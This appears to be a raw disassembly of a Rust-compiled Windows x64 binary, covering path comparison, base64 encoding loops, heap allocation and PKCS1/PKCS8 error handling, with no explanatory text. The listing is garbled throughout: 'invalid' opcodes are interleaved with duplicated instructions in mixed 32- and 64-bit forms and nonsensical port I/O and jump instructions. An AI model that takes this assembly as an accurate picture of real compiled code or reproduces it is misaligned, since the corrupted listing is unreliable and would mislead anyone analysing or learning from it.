mov rcx, qword [rsp + 0x70]
lea rdx, [rsp + 0x98]
mov qword [rdx + 0x20], rcx
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
mov byte [rsp + 0xc2], al
mov word [rsp + 0xc0], 0x200
add byte [rdx], al
add byte [rdx], al
mov rcx, r15
lea rdx, [rsp + 0x88]
lea edx, [rsp + 0x88]
lea edx, [rsp + 0x88]
call fcn.140084850
movzx edi, byte [rsp + 0x50]
cmp dil, 9
or dword [rbp + 0x10], esi
or dword [rbp + 0x10], esi
mov rbp, qword [rsp + 0x58]
pop rax
jmp 0x140051072
xor ebp, ebp
mov rsi, qword [rsp + 0x60]
mov rcx, r15
mov ecx, edi
mov rdx, r13
mov r8, r12
call fcn.14007e360
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x70]
push rsp
and al, 0x70
lea r8, [0x1400ef964]
lea eax, [0x1400ef964]
call 0x1a35210a6
add byte [rbp + 0x63], cl
movsxd r9, dword [r8 + rax*4]
or al, 0x80
add r9, r8
mov rax, r12
mov r8, r13
jmp r9
jmp rcx
add rcx, 4
add ecx, 4
jmp 0x1400510f0
invalid
lea rax, [rdx + 1]
test rdx, rdx
test edx, edx
cmove rax, rdx
add rcx, rax
add rcx, 8
jmp 0x1400510f0
sub edi, dword [rcx + 6]
mov ecx, 6
jmp 0x1400510f0
lea rax, [rdx + 1]
test rdx, rdx
cmove rax, rdx
add rcx, rax
add rcx, 2
jmp 0x1400510f0
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], cl
ret 0x148
mov ecx, 2
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rax, r12
sub rax, rcx
jb 0x14005126b
add rcx, r13
mov r8, rcx
test rax, rax
je 0x140051120
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x140051122
xor eax, eax
lea r15, [rbx - 0x20]
mov qword [rsp + 0x88], r13
mov qword [rsp + 0x90], r12
mov rcx, qword [rsp + 0x70]
lea rdx, [rsp + 0x98]
mov qword [rdx + 0x20], rcx
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
mov byte [rsp + 0xc2], al
mov word [rsp + 0xc0], 0x200
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x88]
call fcn.140084850
movzx eax, byte [rsp + 0x50]
cmp al, 9
jne 0x1400511a0
test rax, rax
setne cl
test rdi, rdi
setne dl
xor dl, cl
jne 0x140050e89
test rdi, rdi
je 0x140050e89
test rax, rax
je 0x140050e89
mov rbx, rbp
sub rbx, r8
cmovb r8, rbp
mov rcx, rdi
mov rdx, rax
call sub.VCRUNTIME140.dll_memcmp
cdqe
test eax, eax
cmovne rbx, rax
test rbx, rbx
mov rbx, qword [rsp + 0x40]
jns 0x140050e89
jmp 0x140050ee0
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.library_std_srcpath.rs
mov rdx, rbp
call fcn.1400a9cf0
ud2
lea r8, str.library_std_srcpath.rs
mov rdx, r12
call fcn.1400a9cf0
ud2
and al, 0x98
add eax, dword [rax]
add byte [rdi], cl
adc byte [rsp + 0x3a8], dl
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsp + 0x238]
movups xmm1, xmmword [rsp + 0x248]
movups xmm2, xmmword [rsp + 0x258]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0x30]
call fcn.14005c7a0
movzx ebx, byte [rsp + 0xe0]
movups xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
movups xmm2, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rcx, qword [rsp + 0x58]
cmp rcx, 4
jbe 0x1400589ed
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
test rcx, rcx
jne 0x1400589fb
jmp 0x140058a7d
lea rdx, [rsp + 0x38]
test rcx, rcx
je 0x140058a7d
lea rax, [rsp + 0x58]
shl rcx, 3
xor r8d, r8d
xor r10d, r10d
xor r11d, r11d
nop dword [rax]
mov rsi, qword [rdx + r8]
mov r9, rsi
shr r9, 0x3f
add rsi, rsi
add rsi, r10
adc r9, r11
mov qword [rdx + r8], rsi
add r8, 8
mov r10, r9
mov r11d, 0
cmp rcx, r8
jne 0x140058a10
test r9, r9
je 0x140058a7d
mov r8, qword [rsp + 0x58]
cmp r8, 4
jbe 0x140058a5b
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
lea rax, [rsp + 0x38]
jmp 0x140058a69
lea rdx, [rsp + 0x38]
mov rcx, r8
mov r8d, 4
cmp rcx, r8
je 0x14005aa17
mov qword [rdx + rcx*8], 1
inc qword [rax]
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rsi, [rsp + 0x70]
lea r8, [rsp + 0xf0]
mov rcx, rsi
mov edx, ebx
call fcn.140056290
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsp + 0x200]
movups xmm1, xmmword [rsp + 0x210]
movups xmm2, xmmword [rsp + 0x220]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0xf0]
lea r8, [rsp + 0x30]
mov rdx, rsi
call fcn.140055e20
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rsp + 0x3c0]
movups xmm1, xmmword [rsp + 0x3d0]
movups xmm2, xmmword [rsp + 0x3e0]
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsp + 0x2a8]
movups xmm1, xmmword [rsp + 0x2b8]
movups xmm2, xmmword [rsp + 0x2c8]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0x30]
call fcn.14005c7a0
movzx ebx, byte [rsp + 0xe0]
movups xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
movups xmm2, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rcx, qword [rsp + 0x58]
cmp rcx, 4
jbe 0x140058bda
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
test rcx, rcx
jne 0x140058be8
jmp 0x140058c6d
lea rdx, [rsp + 0x38]
test rcx, rcx
je 0x140058c6d
lea rax, [rsp + 0x58]
shl rcx, 3
xor r8d, r8d
xor r10d, r10d
xor r11d, r11d
nop word [rax + rax]
mov rsi, qword [rdx + r8]
mov r9, rsi
shr r9, 0x3f
add rsi, rsi
add rsi, r10
adc r9, r11
mov qword [rdx + r8], rsi
add r8, 8
mov r10, r9
mov r11d, 0
cmp rcx, r8
jne 0x140058c00
test r9, r9
je 0x140058c6d
mov r8, qword [rsp + 0x58]
cmp r8, 4
jbe 0x140058c4b
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
lea rax, [rsp + 0x38]
jmp 0x140058c59
lea rdx, [rsp + 0x38]
mov rcx, r8
mov r8d, 4
cmp rcx, r8
je 0x14005aa35
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x190], xmm2
movaps xmmword [rsp + 0x180], xmm1
movaps xmmword [rsp + 0x170], xmm0
lea rsi, [rsp + 0x70]
lea r8, [rsp + 0x170]
mov rcx, rsi
mov edx, ebx
call fcn.140056290
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsp + 0x270]
movups xmm1, xmmword [rsp + 0x280]
movups xmm2, xmmword [rsp + 0x290]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0xb0]
lea r8, [rsp + 0x30]
mov rdx, rsi
call fcn.140055e20
movzx eax, byte [rsp + 0x120]
mov sil, 1
cmp al, 1
je 0x140058d1c
movzx ecx, byte [rsp + 0xe0]
test rcx, rcx
je 0x140058d52
cmp ecx, 1
je 0x140058d1c
mov sil, 2
test al, al
je 0x140058d5a
mov r8, qword [rsp + 0x118]
cmp r8, 4
jbe 0x140058d6a
mov r8, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x100]
mov rax, qword [rsp + 0xd8]
cmp rax, 4
ja 0x140058d80
lea r9, [rsp + 0xb8]
jmp 0x140058d90
test al, al
je 0x14005a6ca
xor esi, esi
mov r8, qword [rsp + 0x118]
cmp r8, 4
ja 0x140058d2a
lea rdx, [rsp + 0xf8]
mov rax, qword [rsp + 0xd8]
cmp rax, 4
jbe 0x140058d48
mov rax, qword [rsp + 0xb8]
mov r9, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea rbx, [rsp + 0x30]
mov rcx, rbx
call fcn.1400578a0
lea rcx, [rsp + 0x548]
mov edx, esi
mov r8, rbx
call fcn.140056290
cmp qword [rsp + 0x118], 5
jb 0x140058dd6
mov sil, 2
mov r8, qword [rsp + 0x118]
cmp r8, 4
ja 0x140058d2a
lea rcx, [rsp + 0x30]
call fcn.1400aaf30
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
lea rax, [rsp + 0x38]
jmp 0x140058a72
mov rax, rsi
mov rdx, rdi
movaps xmm6, xmmword [rsp + 0x30]
movaps xmm7, xmmword [rsp + 0x40]
movaps xmm8, xmmword [rsp + 0x50]
movaps xmm9, xmmword [rsp + 0x60]
movaps xmm10, xmmword [rsp + 0x70]
movaps xmm11, xmmword [rsp + 0x80]
movaps xmm12, xmmword [rsp + 0x90]
movaps xmm13, xmmword [rsp + 0xa0]
movaps xmm14, xmmword [rsp + 0xb0]
movaps xmm15, xmmword [rsp + 0xc0]
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movdqu xmm8, xmmword [r15]
movq xmm7, qword [r15 + 0x10]
movdqa xmm4, xmmword [0x1400b0840]
movdqa xmm3, xmm4
pandn xmm3, xmm7
movdqa xmm6, xmm8
pand xmm6, xmm4
por xmm6, xmm3
pxor xmm0, xmm0
punpcklbw xmm6, xmm0
invalid
invalid
movdqa xmm3, xmmword [0x1400b0850]
pand xmm6, xmm3
movdqa xmm10, xmm8
punpckhbw xmm10, xmm0
pandn xmm3, xmm10
por xmm3, xmm6
pshufd xmm3, xmm3, 0xd8
pshufhw xmm3, xmm3, 0x6c
jo 0x1400627c3
insb byte [rdi], dx
invalid
fisub word [rsi + 0xf]
jo case.0x140075b85.511
fdiv st(3)
pshufw mm3, mm3, 0x6c
jo 0x1400627c3
insb byte [rdi], dx
pshufd xmm3, xmm3, 0x6c
pshuflw xmm3, xmm3, 0x6c
pshufhw xmm3, xmm3, 0xc6
packuswb xmm3, xmm3
invalid
invalid
movdqa xmm11, xmmword [0x1400b0860]
movdqa xmm6, xmm11
invalid
movq mm6, mm3
pandn xmm6, xmm7
movdqa xmm4, xmm8
pand xmm4, xmm11
por xmm4, xmm6
punpcklbw xmm4, xmm0
invalid
loopne 0x140062887
movq mm6, qword [0x1400b0870]
outsd dx, dword [rsi]
xor eax, 0x4e048
invalid
outsd dx, dword [rsi]
xor eax, 0x4e048
pand xmm4, xmm6
pandn xmm6, xmm10
por xmm6, xmm4
pshuflw xmm4, xmm6, 0xc6
pshufhw xmm4, xmm4, 0xc6
pshufd xmm4, xmm4, 0x6c
pshuflw xmm4, xmm4, 0x39
jo 0x14006282c
cmp ebx, esi
pshufw mm6, mm4, 0x39
jo 0x14006282c
cmp ebx, esi
pshufw mm6, mm4, 0x39
packuswb xmm6, xmm6
movdqa xmm11, xmmword [0x1400b0880]
movdqa xmm4, xmm11
pandn xmm4, xmm7
pand xmm8, xmm11
por xmm8, xmm4
por mm0, mm4
invalid
por mm0, mm4
punpcklbw xmm8, xmm0
movdqa xmm4, xmmword [0x1400b0890]
and eax, 0x4e015
and eax, 0x4e015
pand xmm8, xmm4
pandn xmm4, xmm10
por xmm4, xmm8
por mm4, mm0
por mm4, mm0
pshufd xmm4, xmm4, 0x27
pshufhw xmm4, xmm4, 0x6c
in al, 0x6c
in al, 0x6c
pshufd xmm4, xmm4, 0x27
pshuflw xmm4, xmm4, 0xc6
pshufhw xmm4, xmm4, 0xc6
packuswb xmm4, xmm4
in al, 0x66
punpcklbw mm3, mm0
invalid
in al, 0x66
punpcklbw mm3, mm0
invalid
fsub dword [rsi + 0xf]
invalid
punpcklbw xmm6, xmm0
punpcklbw xmm4, xmm0
movdqa xmm8, xmm3
psrlw xmm8, 2
movdqa xmm12, xmmword [str.________]
movdqa xmm7, xmm12
outsd dx, dword [rsi]
cld
invalid
add byte [rsi + 0x41], ah
movq mm7, mm4
outsd dx, dword [rsi]
cld
outsd dx, dword [rsi]
cld
psubw xmm7, xmm8
psrlw xmm7, 8
pand xmm7, xmm9
stc
movdqa xmm14, xmmword [0x1400b08c0]
movdqa xmm10, xmm14
movq mm2, mm6
psubw xmm10, xmm8
psrlw xmm10, 8
pand xmm10, xmm5
pand mm2, mm5
pand mm2, mm5
movdqa xmm15, xmmword [str.33333333]
movq mm7, qword [str.33333333]
invalid
movdqa xmm11, xmm15
psubw xmm11, xmm8
psrlw xmm11, 8
pand xmm11, xmm13
paddw xmm11, xmm10
frstor dword [rsi + 0x45]
paddw mm3, mm2
movdqa xmm0, xmmword [0x1400b0900]
movdqa xmm10, xmm0
psubw xmm10, xmm8
psrlw xmm10, 8
ror byte [rax], cl
ror byte [rax], cl
pand xmm10, xmm2
paddw xmm10, xmm8
paddw xmm10, xmm11
movdqa xmm1, xmmword [str.AAAAAAAA00000000________________]
paddw xmm7, xmm1
paddw xmm7, xmm10
psllw xmm3, 4
pand xmm3, xmmword [0x1400b0930]
movdqa xmm8, xmm6
movq mm0, mm6
movq mm0, mm6
psrlw xmm8, 4
por xmm8, xmm3
movdqa xmm3, xmm12
psubw xmm3, xmm8
psrlw xmm3, 8
pand xmm3, xmm9
pand mm3, mm1
pand mm3, mm1
movdqa xmm10, xmm14
psubw xmm10, xmm8
psrlw xmm10, 8
pand xmm10, xmm5
movdqa xmm11, xmm15
psubw xmm11, xmm8
psrlw xmm11, 8
pand xmm11, xmm13
paddw xmm11, xmm10
movdqa xmm10, xmm0
psubw xmm10, xmm8
psrlw xmm10, 8
pand xmm10, xmm2
paddw xmm10, xmm8
paddw xmm10, xmm11
paddw xmm3, xmm1
paddw xmm3, xmm10
psllw xmm6, 2
pand xmm6, xmmword [0x1400b0940]
movdqa xmm8, xmm4
psrlw xmm8, 6
por xmm8, xmm6
movdqa xmm6, xmm12
psubw xmm6, xmm8
psrlw xmm6, 8
pand xmm6, xmm9
movdqa xmm10, xmm14
psubw xmm10, xmm8
psrlw xmm10, 8
pand xmm10, xmm5
movdqa xmm11, xmm15
psubw xmm11, xmm8
psrlw xmm11, 8
psrlw mm3, 8
psrlw mm3, 8
pand xmm11, xmm13
paddw xmm11, xmm10
movdqa xmm10, xmm0
psubw xmm10, xmm8
psrlw xmm10, 8
ror byte [rax], cl
ror byte [rax], cl
pand xmm10, xmm2
paddw xmm10, xmm8
paddw xmm10, xmm11
paddw xmm6, xmm1
paddw xmm6, xmm10
pand xmm4, xmmword [0x1400b0950]
psubw xmm12, xmm4
psrlw xmm12, 8
psrlw mm4, 8
psrlw mm4, 8
pand xmm12, xmm9
psubw xmm14, xmm4
psrlw xmm14, 8
pand xmm14, xmm5
psubw xmm15, xmm4
psrlw xmm15, 8
pand xmm15, xmm13
invalid
std
paddw xmm15, xmm14
psubw xmm0, xmm4
psrlw xmm0, 8
pand xmm0, xmm2
paddw xmm0, xmm4
paddw xmm0, xmm15
paddw xmm12, xmm1
std
loope 0x140062b23
paddw mm4, mm0
invalid
std
loope 0x140062b23
paddw mm4, mm0
movdqa xmm0, xmmword [0x1400b0960]
movq mm0, qword [0x1400b0960]
pand xmm3, xmm0
pand xmm7, xmm0
packuswb xmm7, xmm3
pand xmm6, xmm0
pand mm6, mm0
pand mm6, mm0
pand xmm12, xmm0
pand mm4, mm0
packuswb xmm6, xmm12
movdqa xmm3, xmm6
pxor xmm0, xmm0
shl byte [rsi + 0xf], 0x68
fsub dword [rsi + 0xf]
invalid
invalid
pxor xmm1, xmm1
leave
shl byte [rsi + 0xf], 0x68
fsub dword [rsi + 0xf]
invalid
leave
movdqa xmm4, xmm6
punpcklwd xmm4, xmm3
out 0x66, al
punpcklwd mm4, mm3
pshufd xmm8, xmm4, 0xfa
pshufd xmm4, xmm4, 0x50
packuswb xmm4, xmm8
movdqa xmm0, xmmword [0x1400b0970]
add eax, 0x4de59
add eax, 0x4de59
movdqa xmm8, xmm0
pandn xmm8, xmm4
movdqa xmm4, xmm7
movq mm4, mm7
movq mm4, mm7
outsd dx, dword [rsi]
out 0x66, eax
punpckhbw xmm4, xmm1
punpckhbw mm4, mm1
punpcklbw xmm7, xmm1
movdqa xmm10, xmm7
punpcklwd xmm10, xmm4
pshufd xmm11, xmm10, 0xf6
pshufd xmm10, xmm10, 0xd4
packuswb xmm10, xmm11
shl dword [esi + 0x44], cl
pand mm2, mm0
shl dword [esi + 0x44], cl
pand mm2, mm0
por xmm10, xmm8
punpckhwd xmm6, xmm3
pshufd xmm3, xmm6, 0xfa
pshufd xmm6, xmm6, 0x50
packuswb xmm6, xmm3
movdqa xmm3, xmm0
pandn xmm3, xmm6
punpckhwd xmm7, xmm4
pshufd xmm4, xmm7, 0xf6
pshufd xmm6, xmm7, 0xd4
pshufw mm6, mm7, 0xd4
pshufw mm6, mm7, 0xd4
packuswb xmm6, xmm4
pand xmm6, xmm0
por xmm6, xmm3
movdqu xmmword [rsi + r11*4 + 0x10], xmm6
movdqu xmmword [rsi + r11*4], xmm10
add r11, 8
or byte [rcx - 0x7d], cl
invalid
sbb byte [rcx + rdi - 0x27], cl
jne 0x140062790
or byte [rcx - 0x7d], cl
invalid
movdqa xmm0, xmmword [0x1400b0980]
outsd dx, dword [rsi]
add eax, 0x4ddd4
movdqa xmm1, xmmword [0x1400b0990]
movdqa xmm2, xmmword [0x1400b09a0]
movdqa xmm3, xmmword [0x1400b09b0]
movdqa xmm4, xmmword [str.3333]
movdqa xmm5, xmmword [0x1400b09d0]
movdqa xmm6, xmmword [0x1400b09e0]
movdqa xmm7, xmmword [0x1400b09f0]
movdqa xmm8, xmmword [str.AAAA]
movq mm0, qword [str.AAAA]
movq mm0, qword [str.AAAA]
movdqa xmm9, xmmword [0x1400b0960]
nop word cs:[rax + rax]
test rdx, rdx
je 0x140062683
add r9, 0xfffffffffffffffd
lea r15, [r10 + 4]
lea edi, [rdx + 4]
lea edi, [rdx + 4]
movzx ecx, byte [rax]
movzx r11d, byte [rax + 1]
movzx ebp, byte [rax + 2]
mov r12d, ecx
shr r12d, 2
in al, dx
add al, cl
loope 0x140062c2b
in al, dx
add al, cl
loope 0x140062c2b
and ecx, 0x30
mov r13d, r11d
mov ebp, ebx
shr r13d, 4
or r13d, ecx
and r11d, 0xf
mov ecx, ebp
shr ecx, 6
lea ecx, [rcx + r11*4]
and ebp, 0x3f
movd xmm10, r12d
pinsrw xmm10, r13d, 1
pinsrw mm2, r13d, 1
pinsrw mm2, r13d, 1
pinsrw xmm10, ecx, 2
pinsrw xmm10, ebp, 3
add rdx, 0xfffffffffffffffc
movdqa xmm11, xmm0
psubw xmm11, xmm10
psrlw xmm11, 8
pand xmm11, xmm1
fcmovnu st(0), st(1)
fcmovnu st(0), st(1)
movdqa xmm12, xmm2
psubw xmm12, xmm10
psrlw xmm12, 8
pand xmm12, xmm3
movdqa xmm13, xmm4
psubw xmm13, xmm10
invalid
psrlw xmm13, 8
pand xmm13, xmm5
paddw xmm13, xmm12
movdqa xmm12, xmm6
psubw xmm12, xmm10
psrlw xmm12, 8
psrlw mm4, 8
invalid
psrlw mm4, 8
pand xmm12, xmm7
paddw xmm12, xmm10
paddw xmm12, xmm13
paddw xmm12, xmm11
paddw xmm12, xmm8
pand xmm12, xmm9
pand mm4, mm1
pand mm4, mm1
packuswb xmm12, xmm12
movd dword [r10], xmm12
add rax, 3
mov r10, r15
cmp r9, 3
jae 0x140062c00
cmp rdx, 4
jb 0x140062683
sub rbx, r8
add r14, r8
mov r8, rbx
xor r8, 3
lea rcx, [rsp + rbx]
add rcx, 0x2d
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x2d]
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
movzx r11d, byte [rsp + 0x2d]
movzx r9d, byte [rsp + 0x2e]
movzx r10d, byte [rsp + 0x2f]
mov r14d, r11d
shr r14d, 2
mov ecx, 0x3e
mov ebp, 0x3e
sub ebp, r14d
shr ebp, 8
and ebp, 3
mov eax, 0x3d
mov r8d, 0x3d
sub r8d, r14d
shr r8d, 8
call 0x120876e6b
int1
add byte [rax], al
add byte [rdx + 0x33], bh
call 0x120876e6b
int1
add byte [rax], al
add byte [rdx + 0x33], bh
mov r12d, 0x33
sub r12d, r14d
shr r12d, 8
shr esp, 8
shr esp, 8
and r12d, 0xb5
add r12d, r8d
mov r8d, 0x19
add byte [rax], al
add byte [rcx - 0x43], al
sbb dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x43], al
sbb dword [rax], eax
add byte [rax], al
sub r13d, r14d
shr r13d, 8
and r13d, 6
add r13d, r14d
add r13d, r12d
add r13d, ebp
add r13b, 0x41
mov byte [r15], r13b
shl r11d, 4
and r11d, 0x30
mov ebp, r9d
shr ebp, 4
or ebp, r11d
mov r11d, 0x3e
sub r11d, ebp
shr r11d, 8
and r11d, 3
mov r14d, 0x3d
sub r14d, ebp
shr r14d, 8
and r14d, 0xf1
and esi, 0xf1
and esi, 0xf1
mov r12d, 0x33
sub r12d, ebp
shr r12d, 8
shr esp, 8
shr esp, 8
and r12d, 0xb5
add r12d, r14d
mov r14d, 0x19
add byte [rax], al
add byte [rcx + 0x29], al
out dx, al
add byte [rax], al
add byte [rcx + 0x29], al
out dx, al
shr r14d, 8
and r14d, 6
add r14d, ebp
out dx, al
out dx, al
add r14d, r12d
add r14d, r11d
add r14b, 0x41
mov byte [r15 + 1], r14b
and r9d, 0xf
shr r10d, 6
lea r9d, [r10 + r9*4]
sub ecx, r9d
shr ecx, 8
and ecx, 3
mov r10d, 0x3d
sub r10d, r9d
shr r10d, 8
and r10d, 0xf1
sub edx, r9d
shr edx, 8
and edx, 0xb5
add edx, r10d
sub r8d, r9d
sub eax, ecx
sub eax, ecx
shr r8d, 8
and r8d, 6
add r8d, r9d
add r8d, edx
add r8d, ecx
add r8b, 0x41
cmp rbx, 1
movzx ecx, r8b
cmove ecx, eax
mov byte [r15 + 2], cl
mov byte [r15 + 3], 0x3d
add r15d, dword [0x13ffe306a]
invalid
add r15d, dword [0x13ffe306a]
dec esp
int3
mov r8, qword es:[r9]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r9, rsi
call qword [sym.imp.kernel32.dll_HeapReAlloc]
test rax, rax
jne 0x140062f0d
jmp 0x140062f15
mov dh, 5
in al, 0x63
or dword [rax], eax
mov rcx, qword [0x1400f91f8]
or eax, 0x96315
test rcx, rcx
jne 0x140062efd
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140062f15
mov rcx, rax
mov qword [0x1400f91f8], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140062f15
ror byte [rcx - 0x77], cl
invalid
mov qword [rdi + 8], rax
xor eax, eax
jmp 0x140062f22
mov qword [rdi + 8], 1
mov eax, 1
mov qword [rdi + 0x10], rsi
mov qword [rdi], rax
add rsp, 0x28
pop rdi
pop rsi
ret
cmp byte [rax], al
sete cl
ror dword [rbp + rcx*4 + 0x44], 9
adc eax, 0x260d8d48
invalid
invalid
add byte [rax - 0x73], cl
add eax, 0x73f0a
cmove rax, rcx
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
ror dword [rbp + rcx*4 + 0x44], 9
adc eax, 0x260d8d48
invalid
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
int3
out dx, al
std
dec esp
int3
in al, dx
push 0x48018b48
add eax, 0xfffffffc
cmp rax, 4
add al, 0x41
mov eax, 2
add al, 0x41
mov eax, 2
cmovb r8, rax
lea rax, [0x1400ef980]
lea eax, [0x1400ef980]
movsxd r8, dword [rax + r8*4]
add r8, rax
jmp r8
add rcx, 8
mov qword [rsp + 0x20], rcx
and byte [rax - 0x73], cl
and al, 0x20
and al, 0x20
and byte [rax - 0x73], cl
and al, 0x20
and al, 0x20
and al, 0x20
mov qword [rsp + 0x28], rax
lea rax, [0x140063090]
mov qword [rsp + 0x30], rax
lea rax, str.PKCS1_ASN.1_error:
invalid
add bl, ch
invalid
mov qword [rsp + 0x20], rcx
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [0x140063170]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
lea eax, [0x1400ece60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x58], 0
pop rax
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
call fcn.140042180
nop
add rsp, 0x68
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e216a]
mov r8d, 0x14
add rsp, 0x68
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.PKCS1_cryptographic_errorPKCS1_version_errorPKCS8_ASN.1_error:
mov r8d, 0x1a
add rsp, 0x68
jmp rax
cmp r12b, 1
jne 0x1400635c2
mov ebx, r13d
movabs r14, 0xffffffff00000000
lea rcx, [rsp + 0x30]
mov rdx, rdi
mov r8d, ebx
call fcn.1400632d0
mov ecx, dword [rsp + 0x30]
cmp ecx, 2
jne 0x140063705
mov rcx, qword [rdi]
cmp byte [rcx + 0x1c], 0
je 0x140063764
mov byte [rcx + 0x1c], 1
mov r13d, dword [rcx + 0x18]
mov r12d, 1
mov ecx, 1
xor r8d, r8d
jmp 0x140063736
movzx edx, dl
shl edx, 0x18
and r13d, 0xffffff
or r13d, edx
shl rcx, 0x20
mov rdx, qword [rsp + 0xc0]
mov qword [rsp + 0x40], rdx
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x30], xmm0
mov r12d, r12d
or r12, rcx
mov ecx, dword [rdi + 0xc]
test ebx, ebx
jne 0x14006355d
xor r13d, r13d
add ecx, r13d
setb dl
not dl
cmp ecx, 0x10000000
setb r8b
and r8b, dl
movzx edx, r8b
mov qword [rsi + 8], r12
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], r14
movaps xmm0, xmmword [rsp + 0x30]
movups xmmword [rsi + 0x20], xmm0
mov rax, qword [rsp + 0x40]
mov qword [rsi + 0x30], rax
mov dword [rsi], edx
mov dword [rsi + 4], ecx
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
and r12d, 0xffffff
shl r12, 0x20
or r12, 0x113
mov ecx, dword [rdi + 0xc]
jmp 0x14006355a
cmp r8b, 0xd
jne 0x1400636b0
xor ebx, ebx
mov r8d, 6
jmp 0x1400636d9
mov r12, r8
shr r12, 8
mov rcx, r8
shr rcx, 0x20
shr ecx, 0x20
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x40], rdx
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x30], xmm0
movzx r8d, r8b
mov rdx, qword [rsp + 0x40]
push rsp
and al, 0x40
mov qword [rsp + 0xc0], rdx
movaps xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0xb0], xmm0
mov edx, r13d
shr edx, 0x18
invalid
sbb byte [rcx - 0x3f], al
in al, 8
or r12d, r8d
jmp 0x14006351f
invalid
invalid
